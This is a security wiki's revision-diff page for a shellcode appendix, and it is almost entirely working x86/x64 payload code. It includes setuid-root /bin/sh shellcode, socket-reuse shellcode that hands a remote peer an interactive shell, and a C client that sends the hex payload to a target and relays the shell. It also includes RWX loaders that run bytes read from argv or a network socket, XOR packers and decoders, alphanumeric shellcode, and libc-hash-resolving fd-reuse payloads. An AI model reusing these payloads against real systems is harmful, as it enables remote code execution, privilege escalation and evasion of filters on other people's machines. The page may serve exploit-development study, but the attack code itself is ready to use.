Questions about this topic? Sign up to ask in the talk tab.
Difference between revisions of "Shellcode/Appendix"
From NetSec
Line 289: | Line 289: | ||
syscall # execve('/bin/sh',null,null); | syscall # execve('/bin/sh',null,null); | ||
</source>}} | </source>}} | ||
+ | |||
+ | |||
+ | = Environment = | ||
+ | == ./environment/getpc-64.s == | ||
+ | |||
+ | |||
+ | {{code|text=<source lang="asm"> | ||
+ | # 12 - bytes | ||
+ | |||
+ | jmp startup | ||
+ | getpc: | ||
+ | mov (%rsp), %rax | ||
+ | ret | ||
+ | startup: | ||
+ | call getpc # the %rax register now contains %rip on the next line | ||
+ | </source>}} | ||
+ | |||
+ | == ./environment/getpc-32.s == | ||
+ | {{code|text=<source lang="asm"># 11 bytes | ||
+ | jmp startup | ||
+ | getpc: | ||
+ | mov (%esp), %eax | ||
+ | ret | ||
+ | startup: | ||
+ | call getpc # the %eax register now contains %eip on the next line | ||
+ | </source>}} | ||
+ | |||
+ | |||
+ | = Socket-reuse = | ||
+ | == ./socket-reuse/socket-reuse.as == | ||
+ | {{code|text=<source lang="asm"># 119 bytes | ||
+ | .section .data | ||
+ | .section .text | ||
+ | .globl _start | ||
+ | _start: | ||
+ | jmp start | ||
+ | |||
+ | exit: | ||
+ | push $0x3c | ||
+ | pop %rax | ||
+ | syscall | ||
+ | |||
+ | start: | ||
+ | push $0x02 | ||
+ | pop %rdi | ||
+ | |||
+ | make_fd_struct: | ||
+ | lea -0x14(%rsp), %rdx | ||
+ | movb $0x10, (%rdx) | ||
+ | lea 0x4(%rdx), %rsi # move struct into rsi | ||
+ | |||
+ | loop: | ||
+ | inc %edi | ||
+ | test %di, %di # loop until 65535 then exit | ||
+ | je exit | ||
+ | |||
+ | stack_fix: | ||
+ | lea 0x14(%rdx), %rsp | ||
+ | |||
+ | get_peer_name: | ||
+ | sub $0x20, %rsp | ||
+ | push $0x34 | ||
+ | pop %rax | ||
+ | syscall | ||
+ | |||
+ | check_pn_success: | ||
+ | test %al, %al | ||
+ | jne loop | ||
+ | |||
+ | # If we make it here, rbx and rax are 0 | ||
+ | check_ip: | ||
+ | push $0x1b | ||
+ | pop %rcx | ||
+ | mov $0xfeffff80, %ebx | ||
+ | xor $0xffffffff, %ebx | ||
+ | cmpl %ebx, (%rsp,%rcx,4) | ||
+ | jne loop | ||
+ | |||
+ | check_port: | ||
+ | movb $0x35, %cl | ||
+ | mov $0x2dfb, %bx | ||
+ | xor $0xffff, %bx | ||
+ | cmpw %bx,(%rsp, %rcx ,2) # (%rbp,%rsi,2) | ||
+ | jne loop | ||
+ | |||
+ | reuse: | ||
+ | push %rax | ||
+ | pop %rsi | ||
+ | |||
+ | dup_loop: # redirect stdin, stdout, stderr to socket | ||
+ | push $0x21 | ||
+ | pop %rax | ||
+ | syscall | ||
+ | inc %esi | ||
+ | cmp $0x4, %esi | ||
+ | jne dup_loop | ||
+ | |||
+ | execve: | ||
+ | pop %rdi | ||
+ | push %rdi | ||
+ | push %rdi | ||
+ | pop %rsi | ||
+ | pop %rdx # Null out %rdx and %rdx (second and third argument) | ||
+ | mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi | ||
+ | shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' | ||
+ | push %rdi | ||
+ | push %rsp | ||
+ | pop %rdi # %rdi is now a pointer to '/bin/sh\0' | ||
+ | push $0x3b | ||
+ | pop %rax # set %rax to function # for execve() | ||
+ | syscall # execve('/bin/sh',null,null); | ||
+ | </source>}} | ||
+ | |||
+ | == ./socket-reuse/socket-reuse-send.c == | ||
+ | {{code|text=<source lang="C"> | ||
+ | #include <sys/socket.h> | ||
+ | #include <stdio.h> | ||
+ | #include <stdlib.h> | ||
+ | #include <unistd.h> | ||
+ | #include <string.h> | ||
+ | #include <sys/types.h> | ||
+ | #include <netinet/in.h> | ||
+ | #include <netdb.h> | ||
+ | |||
+ | char shellcode[] = { | ||
+ | "\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6" | ||
+ | "\x02\x10\x48\x8d\x72\x04\x66\xff\xc7\x74\xe7\x48\x8d\x62\x14\x48" | ||
+ | "\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xea\x6a\x1b\x59\xbb" | ||
+ | "\x53\xef\x2a\xfe\xf7\xd3\x39\x1c\x8c\x75\xdb\xb1\x35\x66\xfb\xfe" | ||
+ | "\xff\xf7\xd3\x66\x39\x1c\x4c\x75\xcd\x50\x50\x5e\x6a\x21\x58\x0f" | ||
+ | "\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48\xbf\x6a" | ||
+ | "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b" | ||
+ | "\x58\x0f\x05" | ||
+ | }; | ||
+ | |||
+ | |||
+ | void error(char *err) | ||
+ | { | ||
+ | perror(err); | ||
+ | exit(0); | ||
+ | } | ||
+ | |||
+ | int main(int argc, char *argv[]) | ||
+ | { | ||
+ | struct sockaddr_in serv_addr, bind_addr; | ||
+ | struct hostent* server, *bind_add; | ||
+ | char buf[1024], inbuf[1024]; | ||
+ | int port = atoi(argv[2]); | ||
+ | int bport = atoi(argv[4]); | ||
+ | int sock = socket(AF_INET, SOCK_STREAM, 0); | ||
+ | |||
+ | if (sock < 0) | ||
+ | error("Error: socket(): "); | ||
+ | |||
+ | bind_add = gethostbyname((char *)argv[3]); | ||
+ | bzero((char *) &bind_addr, sizeof(bind_addr)); | ||
+ | bind_addr.sin_family = AF_INET; | ||
+ | bcopy((char *)bind_add->h_addr, (char *)&bind_addr.sin_addr.s_addr, bind_add->h_length); | ||
+ | bind_addr.sin_port = htons(bport); | ||
+ | |||
+ | if (bind(sock,(struct sockaddr *) &bind_addr,sizeof(bind_addr)) < 0) | ||
+ | error("Error: bind(): "); | ||
+ | |||
+ | server = gethostbyname(argv[1]); | ||
+ | bzero((char *) &serv_addr, sizeof(serv_addr)); | ||
+ | serv_addr.sin_family = AF_INET; | ||
+ | bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); | ||
+ | serv_addr.sin_port = htons(port); | ||
+ | |||
+ | printf("Connecting to %s\n", argv[1]); | ||
+ | if (connect(sock,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0) | ||
+ | error("Error: connect(): "); | ||
+ | |||
+ | printf("Sending payload\n"); | ||
+ | if (send(sock, shellcode, strlen(shellcode), MSG_NOSIGNAL) < 0) | ||
+ | error("Error: write(): "); | ||
+ | |||
+ | while(fgets(buf, 1024, stdin) != NULL) | ||
+ | { | ||
+ | if (send(sock, buf, strlen(buf), MSG_NOSIGNAL) < 0) | ||
+ | error("Error: write(): "); | ||
+ | |||
+ | if (recv(sock, inbuf, 1024, 0) < 0) | ||
+ | error("Error: read(): "); | ||
+ | |||
+ | printf("%s", inbuf); | ||
+ | |||
+ | bzero(inbuf, 1024); | ||
+ | bzero(buf, 1024); | ||
+ | } | ||
+ | return 0; | ||
+ | } | ||
+ | </source> | ||
+ | }} | ||
= Self-modifying = | = Self-modifying = | ||
Line 1,148: | Line 1,342: | ||
call *%rcx | call *%rcx | ||
</source>}} | </source>}} | ||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
Revision as of 00:41, 25 November 2012
Contents
Loaders
./loaders/dynamic-loader.c
#include <stdio.h> #include <sys/mman.h> #include <string.h> int main(int argc, char *argv[]) { int (*fp)(); void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); memcpy(mem, argv[1], strlen(argv[1])); fp = (int(*)())mem; (int)(*fp)(); } |
./loaders/socket-loader.c
/* A simple server in the internet domain using TCP The port number is passed as an argument */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> void error(const char *msg) { perror(msg); exit(1); } void execute(char *buffer) { printf("Executing\n"); printf("%d\n", strlen(buffer)); int (*fp)(); void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); memcpy(mem, buffer, strlen(buffer)); fp = (int(*)())mem; (int)(*fp)(); } int main(int argc, char *argv[]) { int sockfd, newsockfd, portno; socklen_t clilen; char buffer[1024]; struct sockaddr_in serv_addr, cli_addr; int n; if (argc < 2) { fprintf(stderr,"ERROR, no port provided\n"); exit(1); } sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) error("ERROR opening socket"); bzero((char *) &serv_addr, sizeof(serv_addr)); portno = atoi(argv[1]); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(portno); if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) error("ERROR on binding"); listen(sockfd,5); clilen = sizeof(cli_addr); newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); if (newsockfd < 0) error("ERROR on accept"); bzero(buffer,1024); n = read(newsockfd,buffer,1024); execute(buffer); close(newsockfd); close(sockfd); return 0; } |
./loaders/loader-64.s
# 79 bytes .section .data .section .text .globl _start _start: pop %rbx # argc pop %rbx # arg0 pop %rbx # arg1 pointer push $0x9 pop %rax xor %rdi, %rdi push %rdi pop %rsi inc %rsi shl $0x12, %rsi push $0x7 pop %rdx push $0x22 pop %r10 push %rdi push %rdi pop %r8 pop %r9 syscall # The syscall for the mmap(). inject: xor %rsi, %rsi push %rsi pop %rdi inject_loop: cmpb %dil, (%rbx, %rsi, 1) je inject_finished movb (%rbx, %rsi, 1), %r10b movb %r10b, (%rax,%rsi,1) inc %rsi jmp inject_loop ret_to_shellcode: push %rax ret inject_finished: inc %rsi movb $0xc3, (%rax, %rsi, 1) call ret_to_shellcode exit: push $60 pop %rax xor %rdi, %rdi syscall |
./loaders/loader-32.s
# 66 bytes .section .data .section .text .global _start _start: pop %edi pop %edi pop %edi #get arg1 pointer (shellcode) push $90 pop %eax #mmap() syscall number xor %ebx, %ebx push %ebx push %ebx #args 5/6 (null) push $0x22 #arg 4 push $0x7 #arg 5 push %ebx pop %ecx inc %ecx shl $0x12, %ecx push %ecx #arg2 (0x1000) push %ebx #arg1 (null) mov %esp, %ebx #move pointer to args to ebx for mmap() int $0x80 inject: xor %esi, %esi push %esi pop %edx #zero out esi and edx inject_loop: cmpb %dl, (%edi, %esi, 1) je inject_finished movb (%edi, %esi, 1), %cl movb %cl, (%eax, %esi, 1) inc %esi jmp inject_loop #places shellcode into mmap() memory ret_to_shellcode: push %eax #pushes mmap memory address and returns to it ret inject_finished: inc %esi movb $0xc3, (%eax, %esi, 1) #adds ret to the code code so that loader can exit call ret_to_shellcode exit: xor %eax, %eax mov %eax, %ebx inc %eax int $0x80 #exit |
Null-free
./null-free/write-file-32.s
# 90 bytes _start: xorl %ecx, %ecx xorl %edx, %edx #use xor to zero out the registers (removed some not required) push $0x05 #push 0x05 (single byte to remove the null padding used in longs) pop %eax #pop that value into eax push $0x6c #push part of the file destination as a byte to remove padding pushl $0x6f6c2f70 pushl $0x6f746b73 pushl $0x65442f74 pushl $0x6f6f722f movl %esp, %ebx #move out stack pointer xorw $0x0641, %cx #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641) xorw $0x01b6, %dx #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6) #by using this method of xoring out the nullbytes code size can be reduced as well #as remove the null bytes int $0x80 #execute open() movl %eax, %ebx #move the file handle into ebx for write() push $0x04 #push 0x04 pop %eax #pop it into eax for use in write() pushl $0x6c6f6c6a #push part of the null terminated hex string onto the stack pop %ecx #pop it into ecx for modification shr $0x08, %ecx #shift it to the right by 0x08 to put the nullbyte back into the string without #having it directly in the code pushl %ecx #push the modified string back onto the stack pushl $0x20736920 pushl $0x73696874 movl %esp, %ecx #move the stack pointer to ecx push $0xb #push the size of the stack in hex pop %edx #pop it back into the proper register pushl %ebx #push the file descriptor onto the stack for the next function int $0x80 #write the file pop %ebx #get the file descriptor back push $0x06 #push 0x06 to the stack pop %eax #pop it into eax for close() int $0x80 #close the file push $0x01 #push exit() onto the stack pop %eax #and put it in the register push $0x05 #push the return value of 5 pop %ebx #and put it in ebx int $0x80 #and exit == ./null-free/setuid_binsh.as == # 34 bytes .text .globl _start _start: xor %rdi, %rdi # Zero out %rdi (first argument) push $0x69 pop %rax # Set %rax to function number for setuid() syscall # setuid(0); push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' push $0x3b pop %rax # set %rax to function # for execve() syscall # execve('/bin/sh',null,null); |
Environment
./environment/getpc-64.s
# 12 - bytes jmp startup getpc: mov (%rsp), %rax ret startup: call getpc # the %rax register now contains %rip on the next line |
./environment/getpc-32.s
# 11 bytes jmp startup getpc: mov (%esp), %eax ret startup: call getpc # the %eax register now contains %eip on the next line |
Socket-reuse
./socket-reuse/socket-reuse.as
# 119 bytes .section .data .section .text .globl _start _start: jmp start exit: push $0x3c pop %rax syscall start: push $0x02 pop %rdi make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi loop: inc %edi test %di, %di # loop until 65535 then exit je exit stack_fix: lea 0x14(%rdx), %rsp get_peer_name: sub $0x20, %rsp push $0x34 pop %rax syscall check_pn_success: test %al, %al jne loop # If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %rcx mov $0xfeffff80, %ebx xor $0xffffffff, %ebx cmpl %ebx, (%rsp,%rcx,4) jne loop check_port: movb $0x35, %cl mov $0x2dfb, %bx xor $0xffff, %bx cmpw %bx,(%rsp, %rcx ,2) # (%rbp,%rsi,2) jne loop reuse: push %rax pop %rsi dup_loop: # redirect stdin, stdout, stderr to socket push $0x21 pop %rax syscall inc %esi cmp $0x4, %esi jne dup_loop execve: pop %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' push $0x3b pop %rax # set %rax to function # for execve() syscall # execve('/bin/sh',null,null); |
./socket-reuse/socket-reuse-send.c
#include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> char shellcode[] = { "\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6" "\x02\x10\x48\x8d\x72\x04\x66\xff\xc7\x74\xe7\x48\x8d\x62\x14\x48" "\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xea\x6a\x1b\x59\xbb" "\x53\xef\x2a\xfe\xf7\xd3\x39\x1c\x8c\x75\xdb\xb1\x35\x66\xfb\xfe" "\xff\xf7\xd3\x66\x39\x1c\x4c\x75\xcd\x50\x50\x5e\x6a\x21\x58\x0f" "\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48\xbf\x6a" "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b" "\x58\x0f\x05" }; void error(char *err) { perror(err); exit(0); } int main(int argc, char *argv[]) { struct sockaddr_in serv_addr, bind_addr; struct hostent* server, *bind_add; char buf[1024], inbuf[1024]; int port = atoi(argv[2]); int bport = atoi(argv[4]); int sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) error("Error: socket(): "); bind_add = gethostbyname((char *)argv[3]); bzero((char *) &bind_addr, sizeof(bind_addr)); bind_addr.sin_family = AF_INET; bcopy((char *)bind_add->h_addr, (char *)&bind_addr.sin_addr.s_addr, bind_add->h_length); bind_addr.sin_port = htons(bport); if (bind(sock,(struct sockaddr *) &bind_addr,sizeof(bind_addr)) < 0) error("Error: bind(): "); server = gethostbyname(argv[1]); bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port = htons(port); printf("Connecting to %s\n", argv[1]); if (connect(sock,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0) error("Error: connect(): "); printf("Sending payload\n"); if (send(sock, shellcode, strlen(shellcode), MSG_NOSIGNAL) < 0) error("Error: write(): "); while(fgets(buf, 1024, stdin) != NULL) { if (send(sock, buf, strlen(buf), MSG_NOSIGNAL) < 0) error("Error: write(): "); if (recv(sock, inbuf, 1024, 0) < 0) error("Error: read(): "); printf("%s", inbuf); bzero(inbuf, 1024); bzero(buf, 1024); } return 0; } |
Self-modifying
./self-modifying/packer.as
# 55 bytes .section .data .section .text .globl _start _start: pop %rbx # argc pop %rbx # arg0 pop %rbx # arg1 pointer xor %rsi, %rsi push $0x34 pop %rdi count_chars: cmpb %dil, (%rbx, %rsi, 1) int3 je write xor $0x16, (%rbx, %rsi, 1) inc %rsi jmp count_chars write: mov $0x1, %rax mov $0x1, %rdi mov %rsi, %rdx mov %rbx, %rsi syscall exit: push $60 pop %rax xor %rdi, %rdi syscall |
./self-modifying/decoder-no-mmap.as
# 69 bytes jmp start inject: pop %rdi # return value xor %rsi, %rsi push %rsi pop %rdi inject_loop: cmpb $0x17, (%rbx, %rsi, 1) je inject_finished movb (%rbx, %rsi, 1), %r10b xor $0x16, %r10b movb %r10b, (%rbx, %rsi, 1) inc %rsi jmp inject_loop inject_finished: inc %rsi movb $0xc3, (%rbx, %rsi, 1) push %rdi push %rbx ret getpc: mov (%rsp),%rbx ret start: call getpc add $0xe,%rbx push %rbx call inject exit: push $0x3c pop %rax xor %rdi, %rdi syscall |
./self-modifying/decoder.as
# 102 bytes jmp start inject: pop %rdi pop %rcx pop %rax xor %rsi, %rsi push %rsi pop %rdi inject_loop: cmpb $0x20, (%rax, %rsi, 1) je inject_finished movb (%rax, %rsi, 1), %r10b xor $0x3, %r10b movb %r10b, (%rcx, %rsi, 1) inc %rsi jmp inject_loop inject_finished: inc %rsi movb $0xc3, (%rcx, %rsi, 1) push %rdi push %rcx ret getpc: mov (%rsp),%rbx ret start: call getpc add $0x31,%rbx push $0x9 pop %rax xor %rdi, %rdi push %rdi pop %rsi inc %rsi shl $0x12, %rsi push $0x7 pop %rdx push $0x22 pop %r10 push %rdi push %rdi pop %r8 pop %r9 syscall # The syscall for the mmap(). push %rax push %rbx call inject exit: push $60 pop %rax xor %rdi, %rdi syscall |
./self-modifying/packer-32.s
# 37 bytes .section .data .section .text .global _start _start: pop %ecx pop %ecx pop %ecx #arg1 pointer xor %ebx, %ebx push %ebx pop %edx #zero out ebx and edx count_chars: cmpb %dl, (%ecx, %ebx, 1) je write xor $0x3, (%ecx, %ebx, 1) inc %ebx jmp count_chars #counts characters and xor encode them write: push $4 pop %eax mov %ebx, %edx push $2 pop %ebx int $0x80 #writes encoded chars to stdout exit: xor %eax, %eax mov %eax, %ebx inc %eax int $0x80 #exits |
./self-modifying/decoder-32.s
# 89 bytes .section .data .section .text .global _start _start: jmp start inject: pop %ecx #pop the return address pop %ebx #pop the encoded shellcode start address pop %eax #pop the mmaped memory address xor %edx, %edx push %edx pop %ecx #zero out edx and ecx (which holds the return address) inject_loop: cmpb $0x20, (%ebx, %edx, 1) je inject_finished movb (%ebx, %edx, 1), %cl xor $0x3, %cl movb %cl, (%eax, %edx, 1) inc %edx jmp inject_loop inject_finished: inc %edx movb $0xc3, (%eax, %edx, 1) push %ecx push %eax ret getpc: mov (%esp), %eax ret start: call getpc #find ourself on stack mov %eax, %edx add $0x2a, %edx #add decoder length to find shell beginging push $90 pop %eax #mmap() syscall xor %ebx, %ebx push %ebx push %ebx #arg 5/6 push $0x22 #arg 4 push $0x7 #arg 3 push %ebx pop %ecx inc %ecx shl $0x12, %ecx push %ecx #arg2 0x1000 push %ebx #arg 1 mov %esp, %ebx int $0x80 push %eax #push mmap pointer push %edx #push our shellcode begining call inject exit: xor %eax, %eax mov %eax, %ebx inc %eax int $0x80 |
Alphanumeric
./alphanumeric/architecture_detection
TX4HPZTAZAYVH92
./alphanumeric/binsh.s
# 111 bytes .global _start .text _start: # Set %rcx as stack pointer # and align %rsp push $0x5a push %rsp pop %rcx pop %rax # Get magic offset and store in %rdi xor $0x55, %al push %rax # 0x14 on the stack now. pop %rax # add back to %esp imul $0x41, (%rcx), %edi # %rdi = 0x3cf, a "magic offset" for us # This is decimal value 975. # If this is too low/high, suggest a # modification to xor of %al for # changing the imul results # Write the syscall movslq (%rcx,%rdi,1), %rsi xor %esi, (%rcx,%rdi,1) # 4 bytes have been nulled push $0x3030474a pop %rax xor $0x30304245, %eax push %rax pop %rax # Garbage reg movslq (%rcx), %rsi xor %esi, (%rcx,%rdi,1) # Sycall written, set values now. # allocate 8 bytes for '/bin/sh\0' movslq 0x30(%rcx), %rsi xor %esi, 0x30(%rcx) movslq 0x34(%rcx), %rsi xor %esi, 0x34(%rcx) # Zero rdx, rsi, and rdi movslq 0x30(%rcx), %rdi movslq 0x30(%rcx), %rsi push %rdi pop %rdx # Store '/bin/sh\0' in %rdi push $0x5a58555a pop %rax xor $0x34313775, %eax xor %eax, 0x30(%rcx) # '/bin' just went onto the stack push $0x6a51475a pop %rax xor $0x6a393475, %eax xor %eax, 0x34(%rcx) # '/sh\0' just went onto the stack xor 0x30(%rcx), %rdi # %rdi now contains '/bin/sh\0' pop %rax push %rdi push $0x58 movslq (%rcx), %rdi xor (%rcx), %rdi # %rdi zeroed pop %rax push %rsp xor (%rcx), %rdi xor $0x63, %al |
Dynamic
./dynamic/poly-linker-fd-reuse.s
# 268 bytes .section .data .section .text .global _start _start: push $0x400130ff pop %rbx shr $0x8, %ebx fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx extract_pointer: mov 0x20(%rcx), %rbx find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base jmp jmp_to_start exit: push $0x696c4780 pop %rsi call *%rcx xor %rdi, %rdi call *%rbp __initialize_world: pop %rcx xor %esi, %esi movl $0xf8cc01f7, %esi # getpeername() is in %rsi call *%rcx push $0x02 pop %rdi make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi loop: inc %di jz exit stack_fix: lea 0x14(%rdx), %rsp get_peer_name: sub $0x20, %rsp push %rcx call *%rbp pop %rcx check_pn_success: test %al, %al jne loop jmp pass jmp_to_start: jmp startup pass: # If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %r8 mov $0xfeffff80, %eax cmpl %eax, (%rsp,%r8,4) jne loop check_port: movb $0x35, %r8b mov $0x2dfb, %ax cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2) jne loop push $0x70672750 pop %rsi call *%rcx reuse: xor %rdx, %rdx push %rdx push %rdx pop %rsi dup_loop: # redirect stdin, stdout, stderr to socket push %rcx call *%rbp pop %rcx inc %esi cmp $0x4, %esi jne dup_loop movl $0xf66bbb37, %esi call *%rcx xor %rdi, %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' call *%rbp # at this point, the base pointer of libc is in %rbx startup: call __initialize_world ################ # # Takes a function hash in %rsi and base pointer in %rbx # # returns a function pointer in %rbp # find_function: push %rdx xor %rdx, %rdx push %rdi push %rax push %rbx push %rsi pop %rdi read_dynamic_section: push %rbx pop %rbp push $0x4c pop %rax add (%rbx, %rax, 4), %rbx check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table. check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi calc_hash: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi pop %rdx pop %rax cmp %esi, %edi jne check_next_hash found_hash: add 0x8(%rbx,%rdx,4), %rbp pop %rbx pop %rax pop %rdi pop %rdx ret |
./dynamic/linker-fd-reuse.s
.section .data .section .text .global _start _start: push $0x400130ff pop %rbx shr $0x8, %ebx fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx extract_pointer: mov 0x20(%rcx), %rbx find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base jmp startup __initialize_world: pop %rcx jmp _world # at this point, the base pointer of libc is in %rbx startup: call __initialize_world ################ # # Takes a function hash in %rbp and base pointer in %rbx # >Parses the dynamic section headers of the ELF64 image # >Uses ROP to invoke the function on the way back to the # -normal return location # # Returns results of function to invoke. # invoke_function: push %rbp push %rbp push %rdx xor %rdx, %rdx push %rdi push %rax push %rbx push %rsi push %rbp pop %rdi read_dynamic_section: push %rbx pop %rbp push $0x4c pop %rax add (%rbx, %rax, 4), %rbx check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table. check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi calc_hash: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi pop %rdx pop %rax cmp %esi, %edi jne check_next_hash found_hash: add 0x8(%rbx,%rdx,4), %rbp mov %rbp, 0x30(%rsp) pop %rsi pop %rbx pop %rax pop %rdi pop %rdx pop %rbp ret exit: push $0x696c4780 pop %rbp xor %rdi, %rdi call *%rcx _world: movl $0xf8cc01f7, %ebp # getpeername() is in %rbp push $0x02 pop %rdi make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi loop: inc %di jz exit stack_fix: lea 0x14(%rdx), %rsp get_peer_name: sub $0x20, %rsp push %rcx call *%rcx pop %rcx check_pn_success: test %al, %al jne loop # If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %r8 mov $0xfeffff80, %eax not %eax cmpl %eax, (%rsp,%r8,4) jne loop check_port: movb $0x35, %r8b mov $0x2dfb, %ax not %eax cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2) jne loop push $0x70672750 pop %rbp reuse: xor %rdx, %rdx push %rdx push %rdx pop %rsi dup_loop: # redirect stdin, stdout, stderr to socket push %rcx call *%rcx pop %rcx inc %esi cmp $0x4, %esi jne dup_loop movl $0xf66bbb37, %ebp xor %rdi, %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' call *%rcx |
./dynamic/linked-exit.s
